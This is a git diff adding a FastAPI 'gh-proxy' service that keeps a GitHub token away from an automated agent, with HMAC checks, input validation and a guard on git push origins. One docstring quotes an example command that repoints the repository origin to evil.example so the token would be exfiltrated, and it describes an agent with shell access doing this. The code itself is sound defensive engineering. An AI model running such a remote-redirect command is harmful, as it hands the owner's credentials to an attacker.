chore: flatten robomp
This commit is contained in:
@@ -0,0 +1,609 @@
|
||||
"""gh-proxy FastAPI app: HMAC-gated GitHub REST + git proxy.
|
||||
|
||||
Robomp calls every endpoint with HMAC headers (see `robomp.proxy_hmac`).
|
||||
Authenticated requests dispatch to a single `GitHubClient` instance holding
|
||||
the PAT, or to `robomp.git_ops` for git transport. The PAT never leaves
|
||||
this process.
|
||||
|
||||
Endpoint payloads are deliberately typed (no generic GitHub passthrough):
|
||||
each one names exactly one operation robomp performs.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
from collections.abc import AsyncIterator
|
||||
from contextlib import asynccontextmanager
|
||||
from dataclasses import asdict
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
from urllib.parse import urlparse
|
||||
|
||||
from fastapi import FastAPI, HTTPException, Request, status
|
||||
from fastapi.responses import JSONResponse
|
||||
|
||||
from robomp.config import Settings
|
||||
from robomp.git_ops import (
|
||||
GitCommandError,
|
||||
HeadDriftError,
|
||||
)
|
||||
from robomp.git_ops import (
|
||||
clone as git_clone,
|
||||
)
|
||||
from robomp.git_ops import (
|
||||
fetch_prune as git_fetch_prune,
|
||||
)
|
||||
from robomp.git_ops import (
|
||||
fetch_ref as git_fetch_ref,
|
||||
)
|
||||
from robomp.git_ops import (
|
||||
push as git_push,
|
||||
)
|
||||
from robomp.github_client import GitHubClient, GitHubError
|
||||
from robomp.proxy_hmac import HEADER_SIGNATURE, HEADER_TIMESTAMP, verify
|
||||
from robomp.sandbox import _safe_directory_env, _slot_subprocess_kwargs
|
||||
from robomp.sandbox import workspace_key as compute_workspace_key
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def _serialize(obj: Any) -> Any:
|
||||
"""Best-effort serializer for dataclasses + tuples → JSON-safe payload."""
|
||||
if hasattr(obj, "__dataclass_fields__"):
|
||||
data = asdict(obj)
|
||||
return {k: _serialize(v) for k, v in data.items()}
|
||||
if isinstance(obj, tuple):
|
||||
return [_serialize(v) for v in obj]
|
||||
if isinstance(obj, list):
|
||||
return [_serialize(v) for v in obj]
|
||||
if isinstance(obj, dict):
|
||||
return {k: _serialize(v) for k, v in obj.items()}
|
||||
return obj
|
||||
|
||||
|
||||
def _gh_error_response(exc: GitHubError) -> JSONResponse:
|
||||
return JSONResponse(
|
||||
{
|
||||
"error": {
|
||||
"kind": "github",
|
||||
"status": exc.status,
|
||||
"message": exc.message,
|
||||
"retry_after": exc.retry_after,
|
||||
}
|
||||
},
|
||||
status_code=exc.status,
|
||||
)
|
||||
|
||||
|
||||
def _git_error_response(exc: GitCommandError, *, head_drift: bool = False) -> JSONResponse:
|
||||
payload: dict[str, Any] = {
|
||||
"error": {
|
||||
"kind": "head_drift" if head_drift else "git",
|
||||
"returncode": exc.returncode,
|
||||
"cmd": exc.cmd,
|
||||
"stdout": exc.stdout,
|
||||
"stderr": exc.stderr,
|
||||
}
|
||||
}
|
||||
# 409 for head drift (concurrent commit detected); 502 for everything else.
|
||||
return JSONResponse(payload, status_code=409 if head_drift else 502)
|
||||
|
||||
|
||||
def _require_str(value: Any, field: str) -> str:
|
||||
if not isinstance(value, str) or not value:
|
||||
raise HTTPException(400, f"missing/invalid '{field}'")
|
||||
return value
|
||||
|
||||
|
||||
def _require_int(value: Any, field: str) -> int:
|
||||
if not isinstance(value, int):
|
||||
raise HTTPException(400, f"missing/invalid '{field}'")
|
||||
return value
|
||||
|
||||
|
||||
def _optional_slot_uid(value: Any) -> int | None:
|
||||
if value is None:
|
||||
return None
|
||||
if not isinstance(value, int) or isinstance(value, bool) or not (0 < value < 65536):
|
||||
raise HTTPException(400, "missing/invalid 'slot_uid'")
|
||||
return value
|
||||
|
||||
|
||||
def _optional_str_list(value: Any, field: str) -> list[str] | None:
|
||||
if value is None:
|
||||
return None
|
||||
if not isinstance(value, list) or not all(isinstance(v, str) for v in value):
|
||||
raise HTTPException(400, f"invalid '{field}': must be array of strings")
|
||||
return list(value)
|
||||
|
||||
|
||||
def _pool_dir(cfg: Settings, repo: str) -> Path:
|
||||
if "/" not in repo or repo.startswith("/") or ".." in repo.split("/"):
|
||||
raise HTTPException(400, f"invalid repo {repo!r}")
|
||||
return Path(cfg.workspace_root) / "_pool" / repo.replace("/", "__")
|
||||
|
||||
|
||||
def _workspace_repo_dir(cfg: Settings, workspace_key: str) -> Path:
|
||||
# Defense-in-depth: workspace_key is constructed by `sandbox.workspace_key`
|
||||
# as `<repo_with_underscores>__<number>`. Reject anything outside that shape.
|
||||
if "/" in workspace_key or workspace_key.startswith(".") or ".." in workspace_key:
|
||||
raise HTTPException(400, f"invalid workspace_key {workspace_key!r}")
|
||||
return Path(cfg.workspace_root) / workspace_key / "repo"
|
||||
|
||||
|
||||
def _resolve_token(cfg: Settings) -> str:
|
||||
if cfg.github_token is None:
|
||||
# Will already have been caught at startup, but stay defensive.
|
||||
raise HTTPException(500, "gh-proxy: GITHUB_TOKEN not configured")
|
||||
return cfg.github_token.get_secret_value()
|
||||
|
||||
|
||||
def _resolve_hmac_key(cfg: Settings) -> bytes:
|
||||
if cfg.gh_proxy_hmac_key is None:
|
||||
raise HTTPException(500, "gh-proxy: ROBOMP_GH_PROXY_HMAC_KEY not configured")
|
||||
return cfg.gh_proxy_hmac_key.get_secret_value().encode("utf-8")
|
||||
|
||||
|
||||
_ORIGIN_READ_TIMEOUT_SECONDS = 5.0
|
||||
|
||||
|
||||
def _read_origin_url(repo_dir: Path, slot_uid: int | None = None) -> str:
|
||||
"""Return the worktree's `origin` remote URL, or raise HTTPException."""
|
||||
env = {**os.environ, "GIT_TERMINAL_PROMPT": "0"}
|
||||
env.update(_safe_directory_env(repo_dir))
|
||||
try:
|
||||
proc = subprocess.run(
|
||||
["git", "-C", str(repo_dir), "remote", "get-url", "origin"],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=False,
|
||||
timeout=_ORIGIN_READ_TIMEOUT_SECONDS,
|
||||
env=env,
|
||||
**_slot_subprocess_kwargs(slot_uid),
|
||||
)
|
||||
except subprocess.TimeoutExpired as exc:
|
||||
raise HTTPException(504, "timeout reading origin url") from exc
|
||||
if proc.returncode != 0:
|
||||
# `git remote get-url` writes nothing useful to stdout on failure; do
|
||||
# NOT echo stderr to the client (may leak local paths). The proxy log
|
||||
# already captured the failure.
|
||||
log.warning("gh-proxy: failed to read origin url", extra={"repo_dir": str(repo_dir)})
|
||||
raise HTTPException(400, "could not read origin url for worktree")
|
||||
return proc.stdout.strip()
|
||||
|
||||
|
||||
def _assert_origin_safe_for_repo(repo_dir: Path, expected_repo: str, slot_uid: int | None = None) -> None:
|
||||
"""Refuse the push if the worktree's `origin` would leak the PAT.
|
||||
|
||||
The PAT is injected via `--config-env http.extraHeader=…` (see
|
||||
`git_ops._run_git`); git ONLY forwards that header on HTTP(S) requests.
|
||||
So:
|
||||
• If `origin` is HTTPS/HTTP, it MUST resolve to
|
||||
`github.com/<expected_repo>` exactly — anything else and we'd be
|
||||
handing the bot's token to an attacker-controlled host.
|
||||
• Other schemes (ssh, file, git://, …) can't carry the PAT header,
|
||||
so we let them through; the legitimate test path uses local file
|
||||
remotes.
|
||||
|
||||
Without this guard, an agent with shell access in the workspace could
|
||||
`git remote set-url origin https://evil.example/x.git` and the proxy
|
||||
would happily push (with the PAT) to that remote.
|
||||
"""
|
||||
url = _read_origin_url(repo_dir, slot_uid=slot_uid)
|
||||
parsed = urlparse(url)
|
||||
scheme = (parsed.scheme or "").lower()
|
||||
if scheme not in ("http", "https"):
|
||||
return # PAT header is never sent over non-http(s); safe by construction
|
||||
host = (parsed.hostname or "").lower()
|
||||
# Strip optional leading slash, trailing slash, and `.git` suffix.
|
||||
path = parsed.path.strip("/")
|
||||
if path.endswith(".git"):
|
||||
path = path[:-4]
|
||||
if host != "github.com" or path.lower() != expected_repo.lower():
|
||||
log.warning(
|
||||
"gh-proxy: refusing push — origin does not match repo",
|
||||
extra={"expected_repo": expected_repo, "origin_host": host},
|
||||
)
|
||||
raise HTTPException(
|
||||
400,
|
||||
f"origin url does not match repo {expected_repo!r}; refusing to push",
|
||||
)
|
||||
|
||||
|
||||
def create_proxy_app(settings: Settings) -> FastAPI:
|
||||
"""Build the gh-proxy FastAPI app bound to `settings`."""
|
||||
|
||||
@asynccontextmanager
|
||||
async def lifespan(app: FastAPI) -> AsyncIterator[None]:
|
||||
app.state.github = GitHubClient(_resolve_token(settings))
|
||||
app.state.settings = settings
|
||||
yield
|
||||
|
||||
app = FastAPI(title="robomp-gh-proxy", version="0.1.0", lifespan=lifespan)
|
||||
|
||||
def _request_target(request: Request) -> str:
|
||||
"""Canonical signing target: `path` plus raw query string if any.
|
||||
|
||||
Binding the query into the HMAC stops an attacker from replaying a
|
||||
signed `/gh/v1/issue?repo=octo/widget&number=1` against
|
||||
`?repo=octo/widget&number=2`.
|
||||
"""
|
||||
query = request.url.query
|
||||
return f"{request.url.path}?{query}" if query else request.url.path
|
||||
|
||||
async def _read_body_capped(request: Request) -> bytes:
|
||||
"""Read the request body with a hard byte cap.
|
||||
|
||||
Checks `Content-Length` first (cheap reject before any read), then
|
||||
streams chunks via `request.stream()` with a running counter so a
|
||||
client that lies about (or omits) the header still can't get more
|
||||
than `max_bytes` into memory. We deliberately do NOT call
|
||||
`request.body()` first — that would buffer the full payload before
|
||||
auth checks ever run.
|
||||
"""
|
||||
max_bytes = settings.gh_proxy_max_body_bytes
|
||||
cl = request.headers.get("content-length")
|
||||
if cl is not None:
|
||||
try:
|
||||
declared = int(cl)
|
||||
except ValueError as exc:
|
||||
raise HTTPException(400, "invalid content-length") from exc
|
||||
if declared > max_bytes:
|
||||
raise HTTPException(status.HTTP_413_REQUEST_ENTITY_TOO_LARGE, "request body too large")
|
||||
chunks: list[bytes] = []
|
||||
total = 0
|
||||
async for chunk in request.stream():
|
||||
if not chunk:
|
||||
continue
|
||||
total += len(chunk)
|
||||
if total > max_bytes:
|
||||
raise HTTPException(status.HTTP_413_REQUEST_ENTITY_TOO_LARGE, "request body too large")
|
||||
chunks.append(chunk)
|
||||
body = b"".join(chunks)
|
||||
# Starlette's `request.body()` / `request.json()` re-read from
|
||||
# `request._body`. We consumed the stream above, so seed the cache
|
||||
# to keep downstream JSON parsing working without a second read.
|
||||
request._body = body # type: ignore[attr-defined]
|
||||
return body
|
||||
|
||||
async def _authenticate(request: Request) -> bytes:
|
||||
body = await _read_body_capped(request)
|
||||
ts = request.headers.get(HEADER_TIMESTAMP)
|
||||
sig = request.headers.get(HEADER_SIGNATURE)
|
||||
target = _request_target(request)
|
||||
result = verify(
|
||||
method=request.method,
|
||||
path=target,
|
||||
body=body,
|
||||
timestamp=ts,
|
||||
signature=sig,
|
||||
key=_resolve_hmac_key(settings),
|
||||
)
|
||||
if not result.ok:
|
||||
log.warning(
|
||||
"gh-proxy auth rejected",
|
||||
extra={"reason": result.reason, "path": request.url.path},
|
||||
)
|
||||
raise HTTPException(status.HTTP_401_UNAUTHORIZED, "unauthenticated")
|
||||
return body
|
||||
|
||||
# ---- meta ----
|
||||
@app.get("/healthz")
|
||||
async def healthz() -> dict[str, str]:
|
||||
return {"status": "ok"}
|
||||
|
||||
# ---- reads ----
|
||||
@app.get("/gh/v1/authenticated_login")
|
||||
async def authenticated_login(request: Request) -> dict[str, str]:
|
||||
await _authenticate(request)
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
login = await github.get_authenticated_login()
|
||||
except GitHubError as exc:
|
||||
raise HTTPException(exc.status, exc.message) from exc
|
||||
return {"login": login}
|
||||
|
||||
@app.get("/gh/v1/repo")
|
||||
async def get_repo(request: Request, repo: str) -> JSONResponse:
|
||||
await _authenticate(request)
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
info = await github.get_repo(repo)
|
||||
except GitHubError as exc:
|
||||
return _gh_error_response(exc)
|
||||
return JSONResponse(_serialize(info))
|
||||
|
||||
@app.get("/gh/v1/issue")
|
||||
async def get_issue(request: Request, repo: str, number: int) -> JSONResponse:
|
||||
await _authenticate(request)
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
info = await github.get_issue(repo, number)
|
||||
except GitHubError as exc:
|
||||
return _gh_error_response(exc)
|
||||
return JSONResponse(_serialize(info))
|
||||
|
||||
@app.get("/gh/v1/closing_prs")
|
||||
async def list_closing_prs(request: Request, repo: str, number: int) -> JSONResponse:
|
||||
await _authenticate(request)
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
prs = await github.list_closing_pull_requests(repo, number)
|
||||
except GitHubError as exc:
|
||||
return _gh_error_response(exc)
|
||||
return JSONResponse({"pr_numbers": list(prs)})
|
||||
|
||||
@app.get("/gh/v1/pull_request")
|
||||
async def get_pull_request(request: Request, repo: str, number: int) -> JSONResponse:
|
||||
await _authenticate(request)
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
info = await github.get_pull_request(repo, number)
|
||||
except GitHubError as exc:
|
||||
return _gh_error_response(exc)
|
||||
return JSONResponse(_serialize(info))
|
||||
|
||||
@app.get("/gh/v1/issues")
|
||||
async def list_issues(request: Request, repo: str, state: str = "open", limit: int = 30) -> JSONResponse:
|
||||
await _authenticate(request)
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
items = await github.list_issues(repo, state=state, limit=limit)
|
||||
except GitHubError as exc:
|
||||
return _gh_error_response(exc)
|
||||
return JSONResponse({"items": [_serialize(s) for s in items]})
|
||||
|
||||
@app.get("/gh/v1/comments")
|
||||
async def list_comments(request: Request, repo: str, number: int) -> JSONResponse:
|
||||
await _authenticate(request)
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
items = await github.list_comments(repo, number)
|
||||
except GitHubError as exc:
|
||||
return _gh_error_response(exc)
|
||||
return JSONResponse({"items": [_serialize(c) for c in items]})
|
||||
|
||||
@app.get("/gh/v1/review_comments")
|
||||
async def list_review_comments(request: Request, repo: str, pr_number: int) -> JSONResponse:
|
||||
await _authenticate(request)
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
items = await github.list_review_comments(repo, pr_number)
|
||||
except GitHubError as exc:
|
||||
return _gh_error_response(exc)
|
||||
return JSONResponse({"items": [_serialize(c) for c in items]})
|
||||
|
||||
@app.get("/gh/v1/pr_reviews")
|
||||
async def list_pr_reviews(request: Request, repo: str, pr_number: int) -> JSONResponse:
|
||||
await _authenticate(request)
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
items = await github.list_pr_reviews(repo, pr_number)
|
||||
except GitHubError as exc:
|
||||
return _gh_error_response(exc)
|
||||
return JSONResponse({"items": [_serialize(r) for r in items]})
|
||||
|
||||
# ---- writes ----
|
||||
async def _json_body(request: Request) -> dict[str, Any]:
|
||||
await _authenticate(request)
|
||||
try:
|
||||
data = await request.json()
|
||||
except Exception as exc:
|
||||
raise HTTPException(400, f"invalid json: {exc}") from exc
|
||||
if not isinstance(data, dict):
|
||||
raise HTTPException(400, "json body must be an object")
|
||||
return data
|
||||
|
||||
@app.post("/gh/v1/post_comment")
|
||||
async def post_comment(request: Request) -> JSONResponse:
|
||||
data = await _json_body(request)
|
||||
repo = _require_str(data.get("repo"), "repo")
|
||||
number = _require_int(data.get("number"), "number")
|
||||
body = _require_str(data.get("body"), "body")
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
info = await github.post_comment(repo, number, body)
|
||||
except GitHubError as exc:
|
||||
return _gh_error_response(exc)
|
||||
return JSONResponse(_serialize(info))
|
||||
|
||||
@app.post("/gh/v1/open_pull_request")
|
||||
async def open_pull_request(request: Request) -> JSONResponse:
|
||||
data = await _json_body(request)
|
||||
repo = _require_str(data.get("repo"), "repo")
|
||||
head = _require_str(data.get("head"), "head")
|
||||
base = _require_str(data.get("base"), "base")
|
||||
title = _require_str(data.get("title"), "title")
|
||||
body = _require_str(data.get("body"), "body")
|
||||
draft = bool(data.get("draft", False))
|
||||
mcm = bool(data.get("maintainer_can_modify", True))
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
pr = await github.open_pull_request(
|
||||
repo=repo,
|
||||
head=head,
|
||||
base=base,
|
||||
title=title,
|
||||
body=body,
|
||||
draft=draft,
|
||||
maintainer_can_modify=mcm,
|
||||
)
|
||||
except GitHubError as exc:
|
||||
return _gh_error_response(exc)
|
||||
return JSONResponse(_serialize(pr))
|
||||
|
||||
@app.post("/gh/v1/request_reviewers")
|
||||
async def request_reviewers(request: Request) -> JSONResponse:
|
||||
data = await _json_body(request)
|
||||
repo = _require_str(data.get("repo"), "repo")
|
||||
pr_number = _require_int(data.get("pr_number"), "pr_number")
|
||||
reviewers = _optional_str_list(data.get("reviewers"), "reviewers")
|
||||
team_reviewers = _optional_str_list(data.get("team_reviewers"), "team_reviewers")
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
await github.request_reviewers(
|
||||
repo=repo,
|
||||
pr_number=pr_number,
|
||||
reviewers=reviewers,
|
||||
team_reviewers=team_reviewers,
|
||||
)
|
||||
except GitHubError as exc:
|
||||
return _gh_error_response(exc)
|
||||
return JSONResponse({"ok": True})
|
||||
|
||||
@app.post("/gh/v1/add_issue_labels")
|
||||
async def add_issue_labels(request: Request) -> JSONResponse:
|
||||
data = await _json_body(request)
|
||||
repo = _require_str(data.get("repo"), "repo")
|
||||
number = _require_int(data.get("number"), "number")
|
||||
labels = _optional_str_list(data.get("labels"), "labels") or []
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
applied = await github.add_issue_labels(repo, number, labels)
|
||||
except GitHubError as exc:
|
||||
return _gh_error_response(exc)
|
||||
return JSONResponse({"labels": list(applied)})
|
||||
|
||||
@app.post("/gh/v1/add_assignees")
|
||||
async def add_assignees(request: Request) -> JSONResponse:
|
||||
data = await _json_body(request)
|
||||
repo = _require_str(data.get("repo"), "repo")
|
||||
number = _require_int(data.get("number"), "number")
|
||||
assignees = _optional_str_list(data.get("assignees"), "assignees") or []
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
await github.add_assignees(repo, number, assignees)
|
||||
except GitHubError as exc:
|
||||
return _gh_error_response(exc)
|
||||
return JSONResponse({"ok": True})
|
||||
|
||||
@app.get("/gh/v1/comment_reactions")
|
||||
async def list_comment_reactions(request: Request, repo: str, comment_id: int) -> JSONResponse:
|
||||
await _authenticate(request)
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
reactions = await github.list_comment_reactions(repo, comment_id)
|
||||
except GitHubError as exc:
|
||||
return _gh_error_response(exc)
|
||||
return JSONResponse({"items": [_serialize(r) for r in reactions]})
|
||||
|
||||
@app.post("/gh/v1/close_issue")
|
||||
async def close_issue(request: Request) -> JSONResponse:
|
||||
data = await _json_body(request)
|
||||
repo = _require_str(data.get("repo"), "repo")
|
||||
number = _require_int(data.get("number"), "number")
|
||||
reason_raw = data.get("reason")
|
||||
reason = reason_raw if isinstance(reason_raw, str) and reason_raw else "completed"
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
await github.close_issue(repo, number, reason=reason)
|
||||
except GitHubError as exc:
|
||||
return _gh_error_response(exc)
|
||||
return JSONResponse({"ok": True})
|
||||
|
||||
# ---- git transport ----
|
||||
#
|
||||
# The underlying `robomp.git_ops` primitives are blocking `subprocess.run`
|
||||
# calls. Running them directly from an `async def` handler pins the
|
||||
# event loop until the subprocess returns; a hung git would freeze the
|
||||
# whole proxy. We bridge with `asyncio.to_thread` (work on a threadpool
|
||||
# worker) wrapped in `asyncio.wait_for` (hard wall-clock cap, returns
|
||||
# 504 on timeout). The subprocess itself can outlive the timeout — a
|
||||
# proper subprocess.kill plumbing would have to live inside
|
||||
# `git_ops._run_git`; flagged for follow-up.
|
||||
|
||||
async def _run_git_op(fn, *args, **kwargs): # type: ignore[no-untyped-def]
|
||||
try:
|
||||
return await asyncio.wait_for(
|
||||
asyncio.to_thread(fn, *args, **kwargs),
|
||||
timeout=settings.gh_proxy_git_timeout_seconds,
|
||||
)
|
||||
except TimeoutError as exc:
|
||||
log.warning(
|
||||
"gh-proxy: git op exceeded timeout",
|
||||
extra={"op": fn.__name__, "timeout": settings.gh_proxy_git_timeout_seconds},
|
||||
)
|
||||
raise HTTPException(504, f"git {fn.__name__} timed out") from exc
|
||||
|
||||
@app.post("/gh/v1/git/clone")
|
||||
async def git_clone_endpoint(request: Request) -> JSONResponse:
|
||||
data = await _json_body(request)
|
||||
repo = _require_str(data.get("repo"), "repo")
|
||||
clone_url = _require_str(data.get("clone_url"), "clone_url")
|
||||
default_branch = _require_str(data.get("default_branch"), "default_branch")
|
||||
target = _pool_dir(settings, repo)
|
||||
try:
|
||||
await _run_git_op(
|
||||
git_clone,
|
||||
target,
|
||||
clone_url=clone_url,
|
||||
default_branch=default_branch,
|
||||
token=_resolve_token(settings),
|
||||
)
|
||||
except GitCommandError as exc:
|
||||
return _git_error_response(exc)
|
||||
return JSONResponse({"pool_dir": str(target)})
|
||||
|
||||
@app.post("/gh/v1/git/fetch")
|
||||
async def git_fetch_endpoint(request: Request) -> JSONResponse:
|
||||
data = await _json_body(request)
|
||||
repo = _require_str(data.get("repo"), "repo")
|
||||
target = _pool_dir(settings, repo)
|
||||
try:
|
||||
await _run_git_op(git_fetch_prune, target, token=_resolve_token(settings))
|
||||
except GitCommandError as exc:
|
||||
return _git_error_response(exc)
|
||||
return JSONResponse({"pool_dir": str(target)})
|
||||
|
||||
@app.post("/gh/v1/git/fetch_ref")
|
||||
async def git_fetch_ref_endpoint(request: Request) -> JSONResponse:
|
||||
data = await _json_body(request)
|
||||
repo = _require_str(data.get("repo"), "repo")
|
||||
ref = _require_str(data.get("ref"), "ref")
|
||||
target = _pool_dir(settings, repo)
|
||||
# fetch_ref is intentionally best-effort; never surfaces a 5xx.
|
||||
await _run_git_op(git_fetch_ref, target, ref, token=_resolve_token(settings))
|
||||
return JSONResponse({"pool_dir": str(target)})
|
||||
|
||||
@app.post("/gh/v1/git/push")
|
||||
async def git_push_endpoint(request: Request) -> JSONResponse:
|
||||
data = await _json_body(request)
|
||||
repo = _require_str(data.get("repo"), "repo")
|
||||
workspace_key = _require_str(data.get("workspace_key"), "workspace_key")
|
||||
branch = _require_str(data.get("branch"), "branch")
|
||||
expected_head = _require_str(data.get("expected_head"), "expected_head")
|
||||
slot_uid = _optional_slot_uid(data.get("slot_uid"))
|
||||
# Sanity-check workspace_key matches the repo claim.
|
||||
expected_prefix = repo.replace("/", "__") + "__"
|
||||
if not workspace_key.startswith(expected_prefix):
|
||||
raise HTTPException(400, "workspace_key does not match repo")
|
||||
repo_dir = _workspace_repo_dir(settings, workspace_key)
|
||||
if not repo_dir.is_dir():
|
||||
raise HTTPException(404, f"workspace not found: {workspace_key}")
|
||||
# Block attacker-controlled `origin` from being a PAT exfil channel.
|
||||
# MUST run BEFORE any subprocess that would inject the token header.
|
||||
await asyncio.to_thread(_assert_origin_safe_for_repo, repo_dir, repo, slot_uid)
|
||||
try:
|
||||
result = await _run_git_op(
|
||||
git_push,
|
||||
repo_dir,
|
||||
branch=branch,
|
||||
expected_head=expected_head,
|
||||
token=_resolve_token(settings),
|
||||
slot_uid=slot_uid,
|
||||
)
|
||||
except HeadDriftError as exc:
|
||||
return _git_error_response(exc, head_drift=True)
|
||||
except GitCommandError as exc:
|
||||
return _git_error_response(exc)
|
||||
return JSONResponse({"head": result.head, "branch": result.branch})
|
||||
|
||||
# Expose for tests
|
||||
app.state.workspace_key_fn = compute_workspace_key # type: ignore[attr-defined]
|
||||
return app
|
||||
|
||||
|
||||
__all__ = ["create_proxy_app"]
|
||||
Reference in New Issue
Block a user